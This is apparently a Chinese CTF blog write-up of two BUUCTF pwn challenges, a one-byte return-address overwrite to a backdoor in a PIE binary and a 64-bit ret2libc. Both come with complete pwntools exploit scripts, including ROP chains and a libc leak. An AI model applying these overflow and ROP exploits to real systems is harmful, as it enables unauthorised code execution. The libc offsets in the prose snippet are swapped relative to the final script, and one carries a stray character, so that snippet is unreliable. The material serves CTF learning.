p1eee
开了pie保护

可以溢出一字节

还有个后门函数

因为代码段和后门函数地址相差是非常近的,只差了一个字节,所以可以直接覆盖返回地址为后门函数地址,返回函数的地址一般都是move rbp ,rsp之类的,所以这里最后一字节改成’\x69’,改成之前的都不行。

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import* from LibcSearcher import * p=remote("node4.buuoj.cn",29807)
context.log_level="debug" payload='a'*(0x28)+'\x69' p.sendlineafter('A nice try to break pie!!!',payload)
p.interactive()
|
ret2libc
常规的64位的ret2libc题

区别在于最后的payload要在p64(binsh)后面加个ret的参数
1
| payload='a'*0x28+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
|

libc的话write_up是推荐手动计算,但是没给具体是什么版本的libc,用题目本身的,用buu自带提供的libc-2.23.so,libc-2.27.so都是打不通的。
1 2 3 4
| libc_base = puts_addr - 0x080970 system_addr = libc_base + 0x04f420b in_addr = libc_base + 0x1b3d88
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * from LibcSearcher import * p=remote("node4.buuoj.cn",27215)
elf=ELF('./ret2libc1')
context.log_level="debug" puts_plt=0x400520 puts_got=elf.got['puts'] pop_rdi=0x400763 main=0x400698 ret=0x4006F1 payload='a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter('again',payload) p.recvuntil('time')
sleep(1) puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
base=puts_addr-0x04f420
system=base+0x080970
binsh=base+0x1b3d88
payload='a'*0x28+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system) p.sendlineafter('again',payload)
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~